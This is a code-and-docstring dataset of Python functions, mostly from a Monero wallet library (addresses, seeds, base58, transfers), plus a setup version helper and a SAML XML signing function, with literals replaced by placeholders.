{"signature": "def refresh(self):", "body": "self.accounts = self.accounts or []<EOL>idx = <NUM_LIT:0><EOL>for _acc in self._backend.accounts():<EOL><INDENT>_acc.wallet = self<EOL>try:<EOL><INDENT>if self.accounts[idx]:<EOL><INDENT>continue<EOL><DEDENT><DEDENT>except IndexError:<EOL><INDENT>pass<EOL><DEDENT>self.accounts.append(_acc)<EOL>idx += <NUM_LIT:1><EOL><DEDENT>", "docstring": "Reloads the wallet and its accounts. By default, this method is called only once,\non :class:`Wallet` initialization. When the wallet is accessed by multiple clients or\nexists in multiple instances, calling `refresh()` will be necessary to update\nthe list of accounts.", "id": "f7609:c0:m1"}
{"signature": "def height(self):", "body": "return self._backend.height()<EOL>", "docstring": "Returns the height of the wallet.\n\n:rtype: int", "id": "f7609:c0:m2"}
{"signature": "def spend_key(self):", "body": "key = self._backend.spend_key()<EOL>if key == numbers.EMPTY_KEY:<EOL><INDENT>return None<EOL><DEDENT>return key<EOL>", "docstring": "Returns private spend key. None if wallet is view-only.\n\n:rtype: str or None", "id": "f7609:c0:m3"}
{"signature": "def view_key(self):", "body": "return self._backend.view_key()<EOL>", "docstring": "Returns private view key.\n\n:rtype: str", "id": "f7609:c0:m4"}
{"signature": "def seed(self):", "body": "return self._backend.seed()<EOL>", "docstring": "Returns word seed.\n\n:rtype: str", "id": "f7609:c0:m5"}
{"signature": "def new_account(self, label=None):", "body": "acc, addr = self._backend.new_account(label=label)<EOL>assert acc.index == len(self.accounts)<EOL>self.accounts.append(acc)<EOL>return acc<EOL>", "docstring": "Creates new account, appends it to the :class:`Wallet`'s account list and returns it.\n\n:param label: account label as `str`\n:rtype: :class:`Account`", "id": "f7609:c0:m6"}
{"signature": "def confirmations(self, txn_or_pmt):", "body": "if isinstance(txn_or_pmt, Payment):<EOL><INDENT>txn = txn_or_pmt.transaction<EOL><DEDENT>else:<EOL><INDENT>txn = txn_or_pmt<EOL><DEDENT>try:<EOL><INDENT>return max(<NUM_LIT:0>, self.height() - txn.height)<EOL><DEDENT>except TypeError:<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>", "docstring": "Returns the number of confirmations for given\n:class:`Transaction <monero.transaction.Transaction>` or\n:class:`Payment <monero.transaction.Payment>` object.\n\n:rtype: int", "id": "f7609:c0:m7"}
{"signature": "def export_outputs(self):", "body": "return self._backend.export_outputs()<EOL>", "docstring": "Exports outputs in hexadecimal format.\n\n:rtype: str", "id": "f7609:c0:m8"}
{"signature": "def import_outputs(self, outputs_hex):", "body": "return self._backend.import_outputs(outputs_hex)<EOL>", "docstring": "Imports outputs in hexadecimal format. Returns number of imported outputs.\n\n:rtype: int", "id": "f7609:c0:m9"}
{"signature": "def export_key_images(self):", "body": "return self._backend.export_key_images()<EOL>", "docstring": "Exports signed key images as a list of dicts.\n\n:rtype: [dict, dict, ...]", "id": "f7609:c0:m10"}
{"signature": "def import_key_images(self, key_images_hex):", "body": "return self._backend.import_key_images(key_images_hex)<EOL>", "docstring": "Imports key images from a list of dicts. Returns tuple of (height, spent, unspent).\n\n:rtype: (int, Decimal, Decimal)", "id": "f7609:c0:m11"}
{"signature": "def balances(self):", "body": "return self.accounts[<NUM_LIT:0>].balances()<EOL>", "docstring": "Returns a tuple of balance and unlocked balance.\n\n:rtype: (Decimal, Decimal)", "id": "f7609:c0:m12"}
{"signature": "def balance(self, unlocked=False):", "body": "return self.accounts[<NUM_LIT:0>].balance(unlocked=unlocked)<EOL>", "docstring": "Returns specified balance.\n\n:param unlocked: if `True`, return the unlocked balance, otherwise return total balance\n:rtype: Decimal", "id": "f7609:c0:m13"}
{"signature": "def address(self):", "body": "return self.accounts[<NUM_LIT:0>].addresses()[<NUM_LIT:0>]<EOL>", "docstring": "Returns wallet's master address.\n\n:rtype: :class:`Address <monero.address.Address>`", "id": "f7609:c0:m14"}
{"signature": "def addresses(self):", "body": "return self.accounts[<NUM_LIT:0>].addresses()<EOL>", "docstring": "Returns all addresses of the default account.\n\n:rtype: list of :class:`Address <monero.address.Address>` and\n        :class:`SubAddress <monero.address.SubAddress>`", "id": "f7609:c0:m15"}
{"signature": "def new_address(self, label=None):", "body": "return self.accounts[<NUM_LIT:0>].new_address(label=label)<EOL>", "docstring": "Creates a new address in the default account.\n\n:rtype: :class:`SubAddress <monero.address.SubAddress>`", "id": "f7609:c0:m16"}
{"signature": "def get_address(self, major, minor):", "body": "<EOL>if major < <NUM_LIT:0> or major >= <NUM_LIT:2>**<NUM_LIT:32>:<EOL><INDENT>raise ValueError('<STR_LIT>'.format(major))<EOL><DEDENT>if minor < <NUM_LIT:0> or minor >= <NUM_LIT:2>**<NUM_LIT:32>:<EOL><INDENT>raise ValueError('<STR_LIT>'.format(minor))<EOL><DEDENT>master_address = self.address()<EOL>if major == minor == <NUM_LIT:0>:<EOL><INDENT>return master_address<EOL><DEDENT>master_svk = unhexlify(self.view_key())<EOL>master_psk = unhexlify(self.address().spend_key())<EOL>hsdata = b'<STR_LIT>'.join([<EOL>b'<STR_LIT>', master_svk,<EOL>struct.pack('<STR_LIT>', major), struct.pack('<STR_LIT>', minor)])<EOL>m = keccak_256(hsdata).digest()<EOL>D = ed25519.add_compressed(<EOL>ed25519.decodepoint(master_psk),<EOL>ed25519.scalarmult(ed25519.B, ed25519.decodeint(m)))<EOL>C = ed25519.scalarmult(D, ed25519.decodeint(master_svk))<EOL>netbyte = bytearray([<EOL><NUM_LIT> if master_address.is_mainnet() else<NUM_LIT> if master_address.is_testnet() else <NUM_LIT>])<EOL>data = netbyte + ed25519.encodepoint(D) + ed25519.encodepoint(C)<EOL>checksum = keccak_256(data).digest()[:<NUM_LIT:4>]<EOL>return address.SubAddress(base58.encode(hexlify(data + checksum)))<EOL>", "docstring": "Calculates sub-address for account index (`major`) and address index within\nthe account (`minor`).\n\n:rtype: :class:`BaseAddress <monero.address.BaseAddress>`", "id": "f7609:c0:m17"}
{"signature": "def transfer(self, address, amount,<EOL>priority=prio.NORMAL, payment_id=None, unlock_time=<NUM_LIT:0>,<EOL>relay=True):", "body": "return self.accounts[<NUM_LIT:0>].transfer(<EOL>address,<EOL>amount,<EOL>priority=priority,<EOL>payment_id=payment_id,<EOL>unlock_time=unlock_time,<EOL>relay=relay)<EOL>", "docstring": "Sends a transfer from the default account. Returns a list of resulting transactions.\n\n:param address: destination :class:`Address <monero.address.Address>` or subtype\n:param amount: amount to send\n:param priority: transaction priority, implies fee. The priority can be a number\n            from 1 to 4 (unimportant, normal, elevated, priority) or a constant\n            from `monero.prio`.\n:param payment_id: ID for the payment (must be None if\n                :class:`IntegratedAddress <monero.address.IntegratedAddress>`\n                is used as the destination)\n:param unlock_time: the extra unlock delay\n:param relay: if `True`, the wallet will relay the transaction(s) to the network\n                immediately; when `False`, it will only return the transaction(s)\n                so they might be broadcasted later\n:rtype: list of :class:`Transaction <monero.transaction.Transaction>`", "id": "f7609:c0:m18"}
{"signature": "def transfer_multiple(self, destinations,<EOL>priority=prio.NORMAL, payment_id=None, unlock_time=<NUM_LIT:0>,<EOL>relay=True):", "body": "return self.accounts[<NUM_LIT:0>].transfer_multiple(<EOL>destinations,<EOL>priority=priority,<EOL>payment_id=payment_id,<EOL>unlock_time=unlock_time,<EOL>relay=relay)<EOL>", "docstring": "Sends a batch of transfers from the default account. Returns a list of resulting\ntransactions.\n\n:param destinations: a list of destination and amount pairs: [(address, amount), ...]\n:param priority: transaction priority, implies fee. The priority can be a number\n            from 1 to 4 (unimportant, normal, elevated, priority) or a constant\n            from `monero.prio`.\n:param payment_id: ID for the payment (must be None if\n                :class:`IntegratedAddress <monero.address.IntegratedAddress>`\n                is used as a destination)\n:param unlock_time: the extra unlock delay\n:param relay: if `True`, the wallet will relay the transaction(s) to the network\n                immediately; when `False`, it will only return the transaction(s)\n                so they might be broadcasted later\n:rtype: list of :class:`Transaction <monero.transaction.Transaction>`", "id": "f7609:c0:m19"}
{"signature": "def encode(hex):", "body": "data = _hexToBin(hex)<EOL>l_data = len(data)<EOL>if l_data == <NUM_LIT:0>:<EOL><INDENT>return \"<STR_LIT>\"<EOL><DEDENT>full_block_count = l_data // __fullBlockSize<EOL>last_block_size = l_data % __fullBlockSize<EOL>res_size = full_block_count * __fullEncodedBlockSize + __encodedBlockSizes[last_block_size]<EOL>res = bytearray([__alphabet[<NUM_LIT:0>]] * res_size)<EOL>for i in range(full_block_count):<EOL><INDENT>res = encode_block(data[(i*__fullBlockSize):(i*__fullBlockSize+__fullBlockSize)], res, i * __fullEncodedBlockSize)<EOL><DEDENT>if last_block_size > <NUM_LIT:0>:<EOL><INDENT>res = encode_block(data[(full_block_count*__fullBlockSize):(full_block_count*__fullBlockSize+last_block_size)], res, full_block_count * __fullEncodedBlockSize)<EOL><DEDENT>return bytes(res).decode('<STR_LIT:ascii>')<EOL>", "docstring": "Encode hexadecimal string as base58 (ex: encoding a Monero address).", "id": "f7610:m5"}
{"signature": "def decode(enc):", "body": "enc = bytearray(enc, encoding='<STR_LIT:ascii>')<EOL>l_enc = len(enc)<EOL>if l_enc == <NUM_LIT:0>:<EOL><INDENT>return \"<STR_LIT>\"<EOL><DEDENT>full_block_count = l_enc // __fullEncodedBlockSize<EOL>last_block_size = l_enc % __fullEncodedBlockSize<EOL>try:<EOL><INDENT>last_block_decoded_size = __encodedBlockSizes.index(last_block_size)<EOL><DEDENT>except ValueError:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % l_enc)<EOL><DEDENT>data_size = full_block_count * __fullBlockSize + last_block_decoded_size<EOL>data = bytearray(data_size)<EOL>for i in range(full_block_count):<EOL><INDENT>data = decode_block(enc[(i*__fullEncodedBlockSize):(i*__fullEncodedBlockSize+__fullEncodedBlockSize)], data, i * __fullBlockSize)<EOL><DEDENT>if last_block_size > <NUM_LIT:0>:<EOL><INDENT>data = decode_block(enc[(full_block_count*__fullEncodedBlockSize):(full_block_count*__fullEncodedBlockSize+last_block_size)], data, full_block_count * __fullBlockSize)<EOL><DEDENT>return _binToHex(data)<EOL>", "docstring": "Decode a base58 string (ex: a Monero address) into hexidecimal form.", "id": "f7610:m7"}
{"signature": "def balances(self):", "body": "return self._backend.balances(account=self.index)<EOL>", "docstring": "Returns a tuple of balance and unlocked balance.\n\n:rtype: (Decimal, Decimal)", "id": "f7612:c0:m1"}
{"signature": "def balance(self, unlocked=False):", "body": "return self._backend.balances(account=self.index)[<NUM_LIT:1> if unlocked else <NUM_LIT:0>]<EOL>", "docstring": "Returns specified balance.\n\n:param unlocked: if `True`, return the unlocked balance, otherwise return total balance\n:rtype: Decimal", "id": "f7612:c0:m2"}
{"signature": "def address(self):", "body": "return self._backend.addresses(account=self.index)[<NUM_LIT:0>]<EOL>", "docstring": "Return account's main address.\n\n:rtype: :class:`SubAddress <monero.address.SubAddress>`", "id": "f7612:c0:m3"}
{"signature": "def addresses(self):", "body": "return self._backend.addresses(account=self.index)<EOL>", "docstring": "Returns all addresses of the account.\n\n:rtype: list", "id": "f7612:c0:m4"}
{"signature": "def new_address(self, label=None):", "body": "return self._backend.new_address(account=self.index, label=label)<EOL>", "docstring": "Creates a new address.\n\n:param label: address label as `str`\n:rtype: :class:`SubAddress <monero.address.SubAddress>`", "id": "f7612:c0:m5"}
{"signature": "def transfer(self, address, amount,<EOL>priority=prio.NORMAL, payment_id=None, unlock_time=<NUM_LIT:0>,<EOL>relay=True):", "body": "return self._backend.transfer(<EOL>[(address, amount)],<EOL>priority,<EOL>payment_id,<EOL>unlock_time,<EOL>account=self.index,<EOL>relay=relay)<EOL>", "docstring": "Sends a transfer. Returns a list of resulting transactions.\n\n:param address: destination :class:`Address <monero.address.Address>` or subtype\n:param amount: amount to send\n:param priority: transaction priority, implies fee. The priority can be a number\n            from 1 to 4 (unimportant, normal, elevated, priority) or a constant\n            from `monero.prio`.\n:param payment_id: ID for the payment (must be None if\n                :class:`IntegratedAddress <monero.address.IntegratedAddress>`\n                is used as the destination)\n:param unlock_time: the extra unlock delay\n:param relay: if `True`, the wallet will relay the transaction(s) to the network\n                immediately; when `False`, it will only return the transaction(s)\n                so they might be broadcasted later\n:rtype: list of :class:`Transaction <monero.transaction.Transaction>`", "id": "f7612:c0:m6"}
{"signature": "def transfer_multiple(self, destinations,<EOL>priority=prio.NORMAL, payment_id=None, unlock_time=<NUM_LIT:0>,<EOL>relay=True):", "body": "return self._backend.transfer(<EOL>destinations,<EOL>priority,<EOL>payment_id,<EOL>unlock_time,<EOL>account=self.index,<EOL>relay=relay)<EOL>", "docstring": "Sends a batch of transfers. Returns a list of resulting transactions.\n\n:param destinations: a list of destination and amount pairs:\n            [(:class:`Address <monero.address.Address>`, `Decimal`), ...]\n:param priority: transaction priority, implies fee. The priority can be a number\n            from 1 to 4 (unimportant, normal, elevated, priority) or a constant\n            from `monero.prio`.\n:param payment_id: ID for the payment (must be None if\n                :class:`IntegratedAddress <monero.address.IntegratedAddress>`\n                is used as the destination)\n:param unlock_time: the extra unlock delay\n:param relay: if `True`, the wallet will relay the transaction(s) to the network\n                immediately; when `False`, it will only return the transaction(s)\n                so they might be broadcasted later\n:rtype: list of :class:`Transaction <monero.transaction.Transaction>`", "id": "f7612:c0:m7"}
{"signature": "def endian_swap(word):", "body": "return \"<STR_LIT>\".join([word[i:i+<NUM_LIT:2>] for i in [<NUM_LIT:6>, <NUM_LIT:4>, <NUM_LIT:2>, <NUM_LIT:0>]])<EOL>", "docstring": "Given any string, swap bits and return the result.\n\n    :rtype: str", "id": "f7622:m2"}
{"signature": "@classmethod<EOL><INDENT>def encode(cls, hex):<DEDENT>", "body": "out = []<EOL>for i in range(len(hex) // <NUM_LIT:8>):<EOL><INDENT>word = endian_swap(hex[<NUM_LIT:8>*i:<NUM_LIT:8>*i+<NUM_LIT:8>])<EOL>x = int(word, <NUM_LIT:16>)<EOL>w1 = x % cls.n<EOL>w2 = (x // cls.n + w1) % cls.n<EOL>w3 = (x // cls.n // cls.n + w2) % cls.n<EOL>out += [cls.word_list[w1], cls.word_list[w2], cls.word_list[w3]]<EOL><DEDENT>checksum = cls.get_checksum(\"<STR_LIT:U+0020>\".join(out))<EOL>out.append(checksum)<EOL>return \"<STR_LIT:U+0020>\".join(out)<EOL>", "docstring": "Convert hexadecimal string to mnemonic word representation with checksum.", "id": "f7622:c1:m0"}
{"signature": "@classmethod<EOL><INDENT>def decode(cls, phrase):<DEDENT>", "body": "phrase = phrase.split(\"<STR_LIT:U+0020>\")<EOL>out = \"<STR_LIT>\"<EOL>for i in range(len(phrase) // <NUM_LIT:3>):<EOL><INDENT>word1, word2, word3 = phrase[<NUM_LIT:3>*i:<NUM_LIT:3>*i+<NUM_LIT:3>]<EOL>w1 = cls.word_list.index(word1)<EOL>w2 = cls.word_list.index(word2) % cls.n<EOL>w3 = cls.word_list.index(word3) % cls.n<EOL>x = w1 + cls.n *((w2 - w1) % cls.n) + cls.n * cls.n * ((w3 - w2) % cls.n)<EOL>out += endian_swap(\"<STR_LIT>\" % x)<EOL><DEDENT>return out<EOL>", "docstring": "Calculate hexadecimal representation of the phrase.", "id": "f7622:c1:m1"}
{"signature": "@classmethod<EOL><INDENT>def get_checksum(cls, phrase):<DEDENT>", "body": "phrase_split = phrase.split(\"<STR_LIT:U+0020>\")<EOL>if len(phrase_split) < <NUM_LIT:12>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if len(phrase_split) > <NUM_LIT>:<EOL><INDENT>phrase = phrase_split[:<NUM_LIT>]<EOL><DEDENT>else:<EOL><INDENT>phrase = phrase_split[:<NUM_LIT:12>]<EOL><DEDENT>wstr = \"<STR_LIT>\".join(word[:cls.unique_prefix_length] for word in phrase)<EOL>wstr = bytearray(wstr.encode('<STR_LIT:utf-8>'))<EOL>z = ((crc32(wstr) & <NUM_LIT>) ^ <NUM_LIT> ) >> <NUM_LIT:0><EOL>z2 = ((z ^ <NUM_LIT>) >> <NUM_LIT:0>) % len(phrase)<EOL>return phrase_split[z2]<EOL>", "docstring": "Given a mnemonic word string, return a string of the computed checksum.\n\n        :rtype: str", "id": "f7622:c1:m2"}
{"signature": "def info(self):", "body": "return self._backend.info()<EOL>", "docstring": "Returns basic information about the daemon.\n\n:rtype: dict", "id": "f7629:c0:m1"}
{"signature": "def height(self):", "body": "return self._backend.info()['<STR_LIT>']<EOL>", "docstring": "Return daemon's chain height.\n\n:rtype: int", "id": "f7629:c0:m2"}
{"signature": "def send_transaction(self, tx, relay=True):", "body": "return self._backend.send_transaction(tx.blob, relay=relay)<EOL>", "docstring": "Sends a transaction generated by a :class:`Wallet <monero.wallet.Wallet>`.\n\n:param tx: :class:`Transaction <monero.transaction.Transaction>`\n:param relay: whether to relay the transaction to peers. If `False`, the daemon will have\n        to mine the transaction itself in order to have it included in the blockchain.", "id": "f7629:c0:m3"}
{"signature": "def mempool(self):", "body": "return self._backend.mempool()<EOL>", "docstring": "Returns current mempool contents.\n\n:rtype: list of :class:`Transaction <monero.transaction.Transaction>`", "id": "f7629:c0:m4"}
{"signature": "def address(addr, label=None):", "body": "addr = str(addr)<EOL>if _ADDR_REGEX.match(addr):<EOL><INDENT>netbyte = bytearray(unhexlify(base58.decode(addr)))[<NUM_LIT:0>]<EOL>if netbyte in Address._valid_netbytes:<EOL><INDENT>return Address(addr, label=label)<EOL><DEDENT>elif netbyte in SubAddress._valid_netbytes:<EOL><INDENT>return SubAddress(addr, label=label)<EOL><DEDENT>raise ValueError(\"<STR_LIT>\".format(<EOL>nb=netbyte,<EOL>allowed=\"<STR_LIT:U+002CU+0020>\".join(map(<EOL>lambda b: '<STR_LIT>' % b,<EOL>sorted(Address._valid_netbytes + SubAddress._valid_netbytes)))))<EOL><DEDENT>elif _IADDR_REGEX.match(addr):<EOL><INDENT>return IntegratedAddress(addr)<EOL><DEDENT>raise ValueError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(addr=addr, len=len(addr)))<EOL>", "docstring": "Discover the proper class and return instance for a given Monero address.\n\n    :param addr: the address as a string-like object\n    :param label: a label for the address (defaults to `None`)\n\n    :rtype: :class:`Address`, :class:`SubAddress` or :class:`IntegratedAddress`", "id": "f7630:m0"}
{"signature": "def is_mainnet(self):", "body": "return self._decoded[<NUM_LIT:0>] == self._valid_netbytes[<NUM_LIT:0>]<EOL>", "docstring": "Returns `True` if the address belongs to mainnet.\n\n        :rtype: bool", "id": "f7630:c0:m1"}
{"signature": "def is_stagenet(self):", "body": "return self._decoded[<NUM_LIT:0>] == self._valid_netbytes[<NUM_LIT:2>]<EOL>", "docstring": "Returns `True` if the address belongs to stagenet.\n\n        :rtype: bool", "id": "f7630:c0:m3"}
{"signature": "def view_key(self):", "body": "return hexlify(self._decoded[<NUM_LIT>:<NUM_LIT>]).decode()<EOL>", "docstring": "Returns public view key.\n\n        :rtype: str", "id": "f7630:c1:m0"}
{"signature": "def spend_key(self):", "body": "return hexlify(self._decoded[<NUM_LIT:1>:<NUM_LIT>]).decode()<EOL>", "docstring": "Returns public spend key.\n\n        :rtype: str", "id": "f7630:c1:m1"}
{"signature": "def check_private_view_key(self, key):", "body": "return ed25519.public_from_secret_hex(key) == self.view_key()<EOL>", "docstring": "Checks if private view key matches this address.\n\n        :rtype: bool", "id": "f7630:c1:m2"}
{"signature": "def check_private_spend_key(self, key):", "body": "return ed25519.public_from_secret_hex(key) == self.spend_key()<EOL>", "docstring": "Checks if private spend key matches this address.\n\n        :rtype: bool", "id": "f7630:c1:m3"}
{"signature": "def with_payment_id(self, payment_id=<NUM_LIT:0>):", "body": "payment_id = numbers.PaymentID(payment_id)<EOL>if not payment_id.is_short():<EOL><INDENT>raise TypeError(\"<STR_LIT>\".format(payment_id))<EOL><DEDENT>prefix = <NUM_LIT> if self.is_testnet() else <NUM_LIT> if self.is_stagenet() else <NUM_LIT><EOL>data = bytearray([prefix]) + self._decoded[<NUM_LIT:1>:<NUM_LIT>] + struct.pack('<STR_LIT>', int(payment_id))<EOL>checksum = bytearray(keccak_256(data).digest()[:<NUM_LIT:4>])<EOL>return IntegratedAddress(base58.encode(hexlify(data + checksum)))<EOL>", "docstring": "Integrates payment id into the address.\n\n        :param payment_id: int, hexadecimal string or :class:`PaymentID <monero.numbers.PaymentID>`\n                    (max 64-bit long)\n\n        :rtype: `IntegratedAddress`\n        :raises: `TypeError` if the payment id is too long", "id": "f7630:c1:m4"}
{"signature": "def payment_id(self):", "body": "return numbers.PaymentID(hexlify(self._decoded[<NUM_LIT>:-<NUM_LIT:4>]).decode())<EOL>", "docstring": "Returns the integrated payment id.\n\n        :rtype: :class:`PaymentID <monero.numbers.PaymentID>`", "id": "f7630:c3:m1"}
{"signature": "def base_address(self):", "body": "prefix = <NUM_LIT> if self.is_testnet() else <NUM_LIT> if self.is_stagenet() else <NUM_LIT><EOL>data = bytearray([prefix]) + self._decoded[<NUM_LIT:1>:<NUM_LIT>]<EOL>checksum = keccak_256(data).digest()[:<NUM_LIT:4>]<EOL>return Address(base58.encode(hexlify(data + checksum)))<EOL>", "docstring": "Returns the base address without payment id.\n        :rtype: :class:`Address`", "id": "f7630:c3:m2"}
{"signature": "def generate_hex(n_bytes=<NUM_LIT:32>):", "body": "h = hexlify(urandom(n_bytes))<EOL>return \"<STR_LIT>\".join(h.decode(\"<STR_LIT:utf-8>\"))<EOL>", "docstring": "Generate a secure and random hexadecimal string. 32 bytes by default, but arguments can override.\n\n    :rtype: str", "id": "f7631:m0"}
{"signature": "def __init__(self, phrase_or_hex=\"<STR_LIT>\", wordlist=\"<STR_LIT>\"):", "body": "self.phrase = \"<STR_LIT>\" <EOL>self.hex = \"<STR_LIT>\" <EOL>self.word_list = wordlists.get_wordlist(wordlist)<EOL>self._ed_pub_spend_key = None<EOL>self._ed_pub_view_key = None<EOL>if phrase_or_hex:<EOL><INDENT>seed_split = phrase_or_hex.split(\"<STR_LIT:U+0020>\")<EOL>if len(seed_split) >= <NUM_LIT>:<EOL><INDENT>self.phrase = phrase_or_hex<EOL>if len(seed_split) == <NUM_LIT>:<EOL><INDENT>self._validate_checksum()<EOL><DEDENT>self._decode_seed()<EOL><DEDENT>elif len(seed_split) >= <NUM_LIT:12>:<EOL><INDENT>self.phrase = phrase_or_hex<EOL>if len(seed_split) == <NUM_LIT>:<EOL><INDENT>self._validate_checksum()<EOL><DEDENT>self._decode_seed()<EOL><DEDENT>elif len(seed_split) == <NUM_LIT:1>:<EOL><INDENT>if not len(phrase_or_hex) % <NUM_LIT:8> == <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\".format(hex=phrase_or_hex))<EOL><DEDENT>self.hex = phrase_or_hex<EOL>self._encode_seed()<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\".format(arg=phrase_or_hex))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>self.hex = generate_hex()<EOL>self._encode_seed()<EOL><DEDENT>", "docstring": "If user supplied a seed string to the class, break it down and determine\n        if it's hexadecimal or mnemonic word string. Gather the values and store them.\n        If no seed is passed, automatically generate a new one from local system randomness.\n\n        :rtype: :class:`Seed <monero.seed.Seed>`", "id": "f7631:c0:m0"}
{"signature": "def is_mymonero(self):", "body": "return len(self.hex) == <NUM_LIT:32><EOL>", "docstring": "Returns True if the seed is MyMonero-style (12/13-word).", "id": "f7631:c0:m1"}
{"signature": "def _encode_seed(self):", "body": "self.phrase = self.word_list.encode(self.hex)<EOL>", "docstring": "Convert hexadecimal string to mnemonic word representation with checksum.", "id": "f7631:c0:m2"}
{"signature": "def _decode_seed(self):", "body": "self.hex = self.word_list.decode(self.phrase)<EOL>", "docstring": "Calculate hexadecimal representation of the phrase.", "id": "f7631:c0:m3"}
{"signature": "def _validate_checksum(self):", "body": "phrase = self.phrase.split(\"<STR_LIT:U+0020>\")<EOL>if self.word_list.get_checksum(self.phrase) == phrase[-<NUM_LIT:1>]:<EOL><INDENT>return True<EOL><DEDENT>raise ValueError(\"<STR_LIT>\")<EOL>", "docstring": "Given a mnemonic word string, confirm seed checksum (last word) matches the computed checksum.\n\n        :rtype: bool", "id": "f7631:c0:m4"}
{"signature": "def public_address(self, net='<STR_LIT>'):", "body": "if net not in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\")<EOL><DEDENT>netbyte = <NUM_LIT> if net == '<STR_LIT>' else <NUM_LIT> if net == '<STR_LIT>' else <NUM_LIT><EOL>data = \"<STR_LIT>\".format(netbyte, self.public_spend_key(), self.public_view_key())<EOL>h = keccak_256()<EOL>h.update(unhexlify(data))<EOL>checksum = h.hexdigest()<EOL>return address(base58.encode(data + checksum[<NUM_LIT:0>:<NUM_LIT:8>]))<EOL>", "docstring": "Returns the master :class:`Address <monero.address.Address>` represented by the seed.\n\n        :param net: the network, one of 'mainnet', 'testnet', 'stagenet'. Default is 'mainnet'.\n\n        :rtype: :class:`Address <monero.address.Address>`", "id": "f7631:c0:m12"}
{"signature": "def to_atomic(amount):", "body": "if not isinstance(amount, (Decimal, float) + _integer_types):<EOL><INDENT>raise ValueError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>return int(amount * <NUM_LIT:10>**<NUM_LIT:12>)<EOL>", "docstring": "Convert Monero decimal to atomic integer of piconero.", "id": "f7634:m0"}
{"signature": "def from_atomic(amount):", "body": "return (Decimal(amount) * PICONERO).quantize(PICONERO)<EOL>", "docstring": "Convert atomic integer of piconero to Monero decimal.", "id": "f7634:m1"}
{"signature": "def as_monero(amount):", "body": "return Decimal(amount).quantize(PICONERO)<EOL>", "docstring": "Return the amount rounded to maximal Monero precision.", "id": "f7634:m2"}
{"signature": "def is_short(self):", "body": "return self._payment_id.bit_length() <= <NUM_LIT:64><EOL>", "docstring": "Returns True if payment ID is short enough to be included\n        in :class:`IntegratedAddress <monero.address.IntegratedAddress>`.", "id": "f7634:c0:m1"}
{"signature": "def find_version(*parts):", "body": "with codecs.open(os.path.join(here, *parts), '<STR_LIT:r>', errors='<STR_LIT:ignore>') as fp:<EOL><INDENT>version_file = fp.read()<EOL><DEDENT>version_match = re.search(r\"<STR_LIT>\",<EOL>version_file, re.M)<EOL>if version_match:<EOL><INDENT>return version_match.group(<NUM_LIT:1>)<EOL><DEDENT>raise RuntimeError(\"<STR_LIT>\")<EOL>", "docstring": "Figure out version number without importing the package.\nhttps://packaging.python.org/guides/single-sourcing-package-version/", "id": "f7635:m0"}
{"signature": "def sign(xml, stream, password=None):", "body": "<EOL>import xmlsec<EOL>from saml.schema.base import _element_registry<EOL>element = _element_registry.get(xml.tag)<EOL>signature_node = xmlsec.template.create(<EOL>xml,<EOL>xmlsec.Transform.EXCL_C14N,<EOL>xmlsec.Transform.RSA_SHA1)<EOL>xml.insert(element.meta.signature_index, signature_node)<EOL>ref = xmlsec.template.add_reference(<EOL>signature_node, xmlsec.Transform.SHA1)<EOL>xmlsec.template.add_transform(ref, xmlsec.Transform.ENVELOPED)<EOL>ctx = xmlsec.SignatureContext()<EOL>key = xmlsec.Key.from_memory(stream, xmlsec.KeyFormat.PEM, password)<EOL>ctx.key = key<EOL>ctx.sign(signature_node)<EOL>", "docstring": "Sign an XML document with the given private key file. This will add a\n<Signature> element to the document.\n\n:param lxml.etree._Element xml: The document to sign\n:param file stream: The private key to sign the document with\n:param str password: The password used to access the private key\n\n:rtype: None\n\nExample usage:\n::\n    from saml import schema\n    from lxml import etree\n\n    document = schema.AuthenticationRequest()\n    xml_document = document.serialize()\n    with open('my_key_file.pem', 'r+') as stream:\n        sign(xml_document, stream)\n\n    print etree.tostring(xml_document)\n\nProduces the following XML document:\n\n.. code-block:: xml\n\n    <samlp:AuthnRequest\n        xmlns:samlp=\"urn:oasis:names:tc:SAML:2.0:protocol\"\n        xmlns:saml=\"urn:oasis:names:tc:SAML:2.0:assertion\"\n        Version=\"2.0\" ID=\"_6087de0b111b44349a70ff40191a4c0c\"\n        IssueInstant=\"2015-03-16T21:06:39Z\">\n        <Signature xmlns=\"http://www.w3.org/2000/09/xmldsig#\">\n            <SignedInfo>\n                <CanonicalizationMethod\n                    Algorithm=\"http://www.w3.org/2001/10/xml-exc-c14n#\"/>\n                    <SignatureMethod\n                        Algorithm=\"http://www.w3.org/2000/\n                        09/xmldsig#rsa-sha1\"/>\n                        <Reference>\n                            <Transforms>\n                                <Transform\n                                    Algorithm=\"http://www.w3.org/2000/\n                                    09/xmldsig#enveloped-signature\"/>\n                            </Transforms>\n                            <DigestMethod\n                                Algorithm=\"http://www.w3.org/2000/\n                                09/xmldsig#sha1\"/>\n                                <DigestValue>\n                                    94O1FOjRE4JQYVDqStkYzne9StQ=\n                                </DigestValue>\n                        </Reference>\n            </SignedInfo>\n            <SignatureValue>\n                aFYRRjtB3bDyLLJzLZmsn0K4SXmOpFYJ+8R8D31VojgiF37FOElbE56UFbm8BAjn\n                l2AixrUGXP4djxoxxnfBD/reYw5yVuIVXlMxKec784nF2V4GyrfwJOKaNmlVPkq5\n                c8SI+EkKJ02mwiail0Zvjb9FzwvlYD+osMSXvJXVqnGHQDVFlhwbBRRVB6t44/M3\n                TzC4mLSVhuvcpsm4GTQSpGkHP7HvweKN/OTc0aTy8Kh/YUrImwnUCii+J0EW4nGg\n                71eZyq/IiSPnTD09WDHsWe3g29kpicZXqrQCWeLE2zfVKtyxxs7PyEmodH19jXyz\n                wh9hQ8t6PFO47Ros5aV0bw==\n            </SignatureValue>\n        </Signature>\n    </samlp:AuthnRequest>", "id": "f7640:m0"}
